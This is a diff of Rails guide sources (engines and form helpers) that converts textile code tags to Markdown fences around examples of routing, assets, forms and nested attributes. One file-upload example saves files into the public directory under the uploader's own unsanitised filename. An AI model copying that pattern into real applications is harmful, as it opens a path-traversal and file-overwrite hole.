Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it:
-<erb>
+```erb
<h1>Posts</h1>
<%= link_to "New Post", new_post_path %>
<% @posts.each do |post| %>
@@ -788,7 +788,7 @@ Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ a
<%= simple_format(post.text) %>
<hr>
<% end %>
-</erb>
+```
h4. Routes
@@ -796,31 +796,31 @@ Routes inside an engine are, by default, isolated from the application. This is
Routes inside an engine are drawn on the +Engine+ class within +config/routes.rb+, like this:
-<ruby>
+```ruby
Blorgh::Engine.routes.draw do
resources :posts
end
-</ruby>
+```
By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as +posts_path+ may end up going to undesired locations if both the application and the engine both have such a helper defined.
For instance, the following example would go to the application's +posts_path+ if that template was rendered from the application, or the engine's +posts_path+ if it was rendered from the engine:
-<erb>
+```erb
<%= link_to "Blog posts", posts_path %>
-</erb>
+```
To make this route always use the engine's +posts_path+ routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
-<erb>
+```erb
<%= link_to "Blog posts", blorgh.posts_path %>
-</erb>
+```
If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper:
-<erb>
+```erb
<%= link_to "Home", main_app.root_path %>
-</erb>
+```
If you were to use this inside an engine, it would *always* go to the application's root. If you were to leave off the +main_app+ "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
@@ -834,17 +834,17 @@ Much like all the other components of an engine, the assets should also be names
Imagine that you did have an asset located at +app/assets/stylesheets/blorgh/style.css+ To include this asset inside an application, just use +stylesheet_link_tag+ and reference the asset as if it were inside the engine:
-<erb>
+```erb
<%= stylesheet_link_tag "blorgh/style.css" %>
-</erb>
+```
You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
-<plain>
+```
/*
*= require blorgh/style
*/
-</plain>
+```
INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's +.gemspec+.
@@ -857,11 +857,11 @@ This tells sprockets to add your engine assets when +rake assets:precompile+ is
You can define assets for precompilation in +engine.rb+
-<ruby>
+```ruby
initializer "blorgh.assets.precompile" do |app|
app.config.assets.precompile += %w(admin.css admin.js)
end
-</ruby>
+```
For more information, read the "Asset Pipeline guide":http://guides.rubyonrails.org/asset_pipeline.html
@@ -876,16 +876,16 @@ To specify a dependency that should be installed with the engine during a
traditional +gem install+, specify it inside the +Gem::Specification+ block
inside the +.gemspec+ file in the engine:
-<ruby>
+```ruby
s.add_dependency "moo"
-</ruby>
+```
To specify a dependency that should only be installed as a development
dependency of the application, specify it like this:
-<ruby>
+```ruby
s.add_development_dependency "moo"
-</ruby>
+```
Both kinds of dependencies will be installed when +bundle install+ is run inside
the application. The development dependencies for the gem will only be used when
@@ -894,7 +894,7 @@ the tests for the engine are running.
Note that if you want to immediately require dependencies when the engine is
required, you should require them before the engine's initialization. For example:
-<ruby>
+```ruby
require 'other_engine/engine'
require 'yet_another_engine/engine'
@@ -902,4 +902,4 @@ module MyEngine
class Engine < ::Rails::Engine
end
end
-</ruby> \ No newline at end of file
+```
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index d704b78f83..1b44b021ba 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -21,15 +21,15 @@ h3. Dealing with Basic Forms
The most basic form helper is +form_tag+.
-<erb>
+```erb
<%= form_tag do %>
Form contents
<% end %>
-</erb>
+```
When called without arguments like this, it creates a +&lt;form&gt;+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability):
-<html>
+```html
<form accept-charset="UTF-8" action="/home/index" method="post">
<div style="margin:0;padding:0">
<input name="utf8" type="hidden" value="&#x2713;" />
@@ -37,7 +37,7 @@ When called without arguments like this, it creates a +&lt;form&gt;+ tag which,
</div>
Form contents
</form>
-</html>
+```
Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#cross-site-request-forgery-csrf.
@@ -54,23 +54,23 @@ One of the most basic forms you see on the web is a search form. This form conta
To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this:
-<erb>
+```erb
<%= form_tag("/search", :method => "get") do %>
<%= label_tag(:q, "Search for:") %>
<%= text_field_tag(:q) %>
<%= submit_tag("Search") %>
<% end %>
-</erb>
+```
This will generate the following HTML:
-<html>
+```html
<form accept-charset="UTF-8" action="/search" method="get">
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
<input name="commit" type="submit" value="Search" />
</form>
-</html>
+```
TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
@@ -84,17 +84,17 @@ The +form_tag+ helper accepts 2 arguments: the path for the action and an option
As with the +link_to+ helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
-<ruby>
+```ruby
form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
-</ruby>
+```
Here, +method+ and +class+ are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
-<ruby>
+```ruby
form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
-</ruby>
+```
h4. Helpers for Generating Form Elements
@@ -106,21 +106,21 @@ h5. Checkboxes
Checkboxes are form controls that give the user a set of options they can enable or disable:
-<erb>
+```erb
<%= check_box_tag(:pet_dog) %>
<%= label_tag(:pet_dog, "I own a dog") %>
<%= check_box_tag(:pet_cat) %>
<%= label_tag(:pet_cat, "I own a cat") %>
-</erb>
+```
This generates the following:
-<html>
+```html
<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
<label for="pet_dog">I own a dog</label>
<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
<label for="pet_cat">I own a cat</label>
-</html>
+```
The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked.
@@ -128,21 +128,21 @@ h5. Radio Buttons
Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
-<erb>
+```erb
<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
<%= label_tag(:age_adult, "I'm over 21") %>
-</erb>
+```
Output:
-<html>
+```html
<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
<label for="age_adult">I'm over 21</label>
-</html>
+```
As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult".
@@ -152,7 +152,7 @@ h4. Other Helpers of Interest
Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
-<erb>
+```erb
<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
<%= password_field_tag(:password) %>
<%= hidden_field_tag(:parent_id, "5") %>
@@ -167,11 +167,11 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
-</erb>
+```
Output:
-<html>
+```html
<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
<input id="password" name="password" type="password" />
<input id="parent_id" name="parent_id" type="hidden" value="5" />
@@ -186,7 +186,7 @@ Output:
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
-</html>
+```
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
@@ -202,15 +202,15 @@ A particularly common task for a form is editing or creating a model object. Whi
For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined +@person+ and that person's name is Henry then a form containing:
-<erb>
+```erb
<%= text_field(:person, :name) %>
-</erb>
+```
will produce output similar to
-<erb>
+```erb
<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</erb>
+```
Upon form submission the value entered by the user will be stored in +params[:person][:name]+. The +params[:person]+ hash is suitable for passing to +Person.new+ or, if +@person+ is an instance of Person, +@person.update_attributes+. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a +name+ and a +name=+ method Rails will be happy.
@@ -224,21 +224,21 @@ While this is an increase in comfort it is far from perfect. If Person has many
Assume we have a controller for dealing with articles +app/controllers/articles_controller.rb+:
-<ruby>
+```ruby
def new
@article = Article.new
end
-</ruby>
+```
The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks like this:
-<erb>
+```erb
<%= form_for @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
<%= f.text_field :title %>
<%= f.text_area :body, :size => "60x12" %>
<%= f.submit "Create" %>
<% end %>
-</erb>
+```
There are a few things to note here:
@@ -249,13 +249,13 @@ There are a few things to note here:
The resulting HTML is:
-<html>
+```html
<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
<input id="article_title" name="article[title]" type="text" />
<textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
<input name="commit" type="submit" value="Create" />
</form>
-</html>
+```
The name passed to +form_for+ controls the key used in +params+ to access the form's values. Here the name is +article+ and so all the inputs have names of the form +article[<em>attribute_name</em>]+. Accordingly, in the +create+ action +params[:article]+ will be a hash with keys +:title+ and +:body+. You can read more about the significance of input names in the parameter_names section.
@@ -263,23 +263,23 @@ The helper methods called on the form builder are identical to the model object
You can create a similar binding without actually creating +&lt;form&gt;+ tags with the +fields_for+ helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
-<erb>
+```erb
<%= form_for @person, :url => { :action => "create" } do |person_form| %>
<%= person_form.text_field :name %>
<%= fields_for @person.contact_detail do |contact_details_form| %>
<%= contact_details_form.text_field :phone_number %>
<% end %>
<% end %>
-</erb>
+```
which produces the following output:
-<html>
+```html
<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
</form>
-</html>
+```
The object yielded by +fields_for+ is a form builder like the one yielded by +form_for+ (in fact +form_for+ calls +fields_for+ internally).
@@ -287,15 +287,15 @@ h4. Relying on Record Identification
The Article model is directly available to users of the application, so -- following the best practices for developing with Rails -- you should declare it *a resource*:
-<ruby>
+```ruby
resources :articles
-</ruby>
+```
TIP: Declaring a resource has a number of side-affects. See "Rails Routing From the Outside In":routing.html#resource-routing-the-rails-default for more information on setting up and using resources.
When dealing with RESTful resources, calls to +form_for+ can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
-<ruby>
+```ruby
## Creating a new article
# long-style:
form_for(@article, :url => articles_path)
@@ -307,7 +307,7 @@ form_for(@article)
form_for(@article, :url => article_path(@article), :html => { :method => "patch" })
# short-style:
form_for(@article)
-</ruby>
+```
Notice how the short-style +form_for+ invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking +record.new_record?+. It also selects the correct path to submit to and the name based on the class of the object.
@@ -319,15 +319,15 @@ h5. Dealing with Namespaces
If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
-<ruby>
+```ruby
form_for [:admin, @article]
-</ruby>
+```
will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
-<ruby>
+```ruby
form_for [:admin, :management, @article]
-</ruby>
+```
For more information on Rails' routing system and the associated conventions, please see the "routing guide":routing.html.
@@ -338,13 +338,13 @@ The Rails framework encourages RESTful design of your applications, which means
Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
-<ruby>
+```ruby
form_tag(search_path, :method => "patch")
-</ruby>
+```
output:
-<html>
+```html
<form accept-charset="UTF-8" action="/search" method="post">
<div style="margin:0;padding:0">
<input name="_method" type="hidden" value="patch" />
@@ -352,7 +352,7 @@ output:
<input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
</div>
...
-</html>
+```
When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
@@ -362,14 +362,14 @@ Select boxes in HTML require a significant amount of markup (one +OPTION+ elemen
Here is what the markup might look like:
-<html>
+```html
<select name="city_id" id="city_id">
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
<option value="12">Berlin</option>
</select>
-</html>
+```
Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
@@ -377,13 +377,13 @@ h4. The Select and Option Tags
The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
-<erb>
+```erb
<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
-</erb>
+```
This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
-<erb>
+```erb
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
output:
@@ -391,19 +391,19 @@ output:
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
-</erb>
+```
The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
-<erb>
+```erb
<%= select_tag(:city_id, options_for_select(...)) %>
-</erb>
+```
+options_for_select+ allows you to pre-select an option by passing its value.
-<erb>
+```erb
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
output:
@@ -411,7 +411,7 @@ output:
<option value="1">Lisbon</option>
<option value="2" selected="selected">Madrid</option>
...
-</erb>
+```
Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
@@ -421,7 +421,7 @@ WARNING: when +:inlude_blank+ or +:prompt:+ are not present, +:include_blank+ is
You can add arbitrary attributes to the options using hashes:
-<erb>
+```erb
<%= options_for_select([['Lisbon', 1, :'data-size' => '2.8 million'], ['Madrid', 2, :'data-size' => '3.2 million']], 2) %>
output:
@@ -429,30 +429,30 @@ output:
<option value="1" data-size="2.8 million">Lisbon</option>
<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
...
-</erb>
+```
h4. Select Boxes for Dealing with Models
In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
-<ruby>
+```ruby
# controller:
@person = Person.new(:city_id => 2)
-</ruby>
+```
-<erb>
+```erb
# view:
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
-</erb>
+```
Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
-<erb>
+```erb
# select on a form builder
<%= f.select(:city_id, ...) %>
-</erb>
+```
WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <tt> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </tt> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#mass-assignment.
@@ -460,22 +460,22 @@ h4. Option Tags from a Collection of Arbitrary Objects
Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
-<erb>
+```erb
<% cities_array = City.all.map { |city| [city.name, city.id] } %>
<%= options_for_select(cities_array) %>
-</erb>
+```
This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
-<erb>
+```erb
<%= options_from_collection_for_select(City.all, :id, :name) %>
-</erb>
+```
As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
-<erb>
+```erb
<%= collection_select(:person, :city_id, City.all, :id, :name) %>
-</erb>
+```
To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
@@ -485,9 +485,9 @@ h4. Time Zone and Country Select
To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
-<erb>
+```erb
<%= time_zone_select(:person, :time_zone) %>
-</erb>
+```
There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
@@ -506,23 +506,23 @@ h4. Barebones Helpers
The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
-<erb>
+```erb
<%= select_date Date.today, :prefix => :start_date %>
-</erb>
+```
outputs (with actual option values omitted for brevity)
-<html>
+```html
<select id="start_date_year" name="start_date[year]"> ... </select>
<select id="start_date_month" name="start_date[month]"> ... </select>
<select id="start_date_day" name="start_date[day]"> ... </select>
-</html>
+```
The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
-<ruby>
+```ruby
Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
-</ruby>
+```
The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
@@ -531,23 +531,23 @@ h4(#select-model-object-helpers). Model Object Helpers
+select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
-<erb>
+```erb
<%= date_select :person, :birth_date %>
-</erb>
+```
outputs (with actual option values omitted for brevity)
-<html>
+```html
<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
-</html>
+```
which results in a +params+ hash like
-<ruby>
+```ruby
{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
-</ruby>
+```
When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
@@ -565,10 +565,10 @@ Occasionally you need to display just a single date component such as a year or
The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
-<erb>
+```erb
<%= select_year(2009) %>
<%= select_year(Time.now) %>
-</erb>
+```
will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
@@ -578,7 +578,7 @@ A common task is uploading some sort of file, whether it's a picture of a person
The following two forms both upload a file.
-<erb>
+```erb
<%= form_tag({:action => :upload}, :multipart => true) do %>
<%= file_field_tag 'picture' %>
<% end %>
@@ -586,7 +586,7 @@ The following two forms both upload a file.
<%= form_for @person do |f| %>
<%= f.file_field :picture %>
<% end %>
-</erb>
+```
NOTE: Since Rails 3.1, forms rendered using +form_for+ have their encoding set to <tt>multipart/form-data</tt> automatically once a +file_field+ is used inside the block. Previous versions required you to set this explicitly.
@@ -596,14 +596,14 @@ h4. What Gets Uploaded
The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
-<ruby>
+```ruby
def upload
uploaded_io = params[:person][:picture]
File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
file.write(uploaded_io.read)
end
end
-</ruby>
+```
Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
@@ -617,37 +617,37 @@ h3. Customizing Form Builders
As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= text_field_with_label f, :first_name %>
<% end %>
-</erb>
+```
can be replaced with
-<erb>
+```erb
<%= form_for @person, :builder => LabellingFormBuilder do |f| %>
<%= f.text_field :first_name %>
<% end %>
-</erb>
+```
by defining a LabellingFormBuilder class similar to the following:
-<ruby>
+```ruby
class LabellingFormBuilder < ActionView::Helpers::FormBuilder
def text_field(attribute, options={})
label(attribute) + super
end
end
-</ruby>
+```
If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
The form builder used also determines what happens when you do
-<erb>
+```erb
<%= render :partial => f %>
-</erb>
+```
If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
@@ -660,46 +660,46 @@ Fundamentally HTML forms don't know about any sort of structured data, all they
TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
-<ruby>
+```ruby
Rack::Utils.parse_query "name=fred&phone=0123456789"
# => {"name"=>"fred", "phone"=>"0123456789"}
-</ruby>
+```
h4. Basic Structures
The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
-<html>
+```html
<input id="person_name" name="person[name]" type="text" value="Henry"/>
-</html>
+```
the +params+ hash will contain
-<erb>
+```erb
{'person' => {'name' => 'Henry'}}
-</erb>
+```
and +params[:person][:name]+ will retrieve the submitted value in the controller.
Hashes can be nested as many levels as required, for example
-<html>
+```html
<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
-</html>
+```
will result in the +params+ hash being
-<ruby>
+```ruby
{'person' => {'address' => {'city' => 'New York'}}}
-</ruby>
+```
Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
-<html>
+```html
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
-</html>
+```
This would result in +params[:person][:phone_number]+ being an array.
@@ -707,11 +707,11 @@ h4. Combining Them
We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
-<html>
+```html
<input name="addresses[][line1]" type="text"/>
<input name="addresses[][line2]" type="text"/>
<input name="addresses[][city]" type="text"/>
-</html>
+```
This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
@@ -725,7 +725,7 @@ The previous sections did not use the Rails form helpers at all. While you can c
You might want to render a form with a set of edit fields for each of a person's addresses. For example:
-<erb>
+```erb
<%= form_for @person do |person_form| %>
<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
@@ -734,49 +734,49 @@ You might want to render a form with a set of edit fields for each of a person's
<% end %>
<% end %>
<% end %>
-</erb>
+```
Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
-<html>
+```html
<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_23_city" name="person[address][23][city]" type="text" />
<input id="person_address_45_city" name="person[address][45][city]" type="text" />
</form>
-</html>
+```
This will result in a +params+ hash that looks like
-<ruby>
+```ruby
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
-</ruby>
+```
Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling Rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
-<erb>
+```erb
<%= fields_for 'person[address][primary]', address, :index => address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>
-</erb>
+```
will create inputs like
-<html>
+```html
<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
-</html>
+```
As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifying +:index => address+ so
-<erb>
+```erb
<%= fields_for 'person[address][primary][]', address do |address_form| %>
<%= address_form.text_field :city %>
<% end %>
-</erb>
+```
produces exactly the same output as the previous example.
@@ -784,35 +784,35 @@ h3. Forms to external resources
If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an +authenticity_token+ for this resource. You can do it by passing an +:authenticity_token => 'your_external_token'+ parameter to the +form_tag+ options:
-<erb>
+```erb
<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %>
Form contents
<% end %>
-</erb>
+```
Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option:
-<erb>
+```erb
<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %>
Form contents
<% end %>
-</erb>
+```
The same technique is available for the +form_for+ too:
-<erb>
+```erb
<%= form_for @invoice, :url => external_url, :authenticity_token => 'external_token' do |f|
Form contents
<% end %>
-</erb>
+```
Or if you don't want to render an +authenticity_token+ field:
-<erb>
+```erb
<%= form_for @invoice, :url => external_url, :authenticity_token => false do |f|
Form contents
<% end %>
-</erb>
+```
h3. Building Complex Forms
@@ -822,7 +822,7 @@ h4. Configuring the Model
Active Record provides model level support via the +accepts_nested_attributes_for+ method:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :addresses
accepts_nested_attributes_for :addresses
@@ -834,7 +834,7 @@ class Address < ActiveRecord::Base
belongs_to :person
attr_accessible :kind, :street
end
-</ruby>
+```
This creates an +addresses_attributes=+ method on +Person+ that allows you to create, update and (optionally) destroy addresses. When using +attr_accessible+ or +attr_protected+ you must mark +addresses_attributes+ as accessible as well as the other attributes of +Person+ and +Address+ that should be mass assigned.
@@ -842,7 +842,7 @@ h4. Building the Form
The following form allows a user to create a +Person+ and its associated addresses.
-<erb>
+```erb
<%= form_for @person do |f| %>
Addresses:
<ul>
@@ -858,21 +858,21 @@ The following form allows a user to create a +Person+ and its associated address
<% end %>
</ul>
<% end %>
-</erb>
+```
When an association accepts nested attributes +fields_for+ renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
-<ruby>
+```ruby
def new
@person = Person.new
3.times { @person.addresses.build}
end
-</ruby>
+```
+fields_for+ yields a form builder that names parameters in the format expected the accessor generated by +accepts_nested_attributes_for+. For example when creating a user with 2 addresses, the submitted parameters would look like
-<ruby>
+```ruby
{
:person => {
:name => 'John Doe',
@@ -888,7 +888,7 @@ end
}
}
}
-</ruby>
+```
The keys of the +:addresses_attributes+ hash are unimportant, they need merely be different for each address.
@@ -902,16 +902,16 @@ h4. Removing Objects
You can allow users to delete associated objects by passing +allow_destroy => true+ to +accepts_nested_attributes_for+
-<ruby>
+```ruby
class Person < ActiveRecord::Base
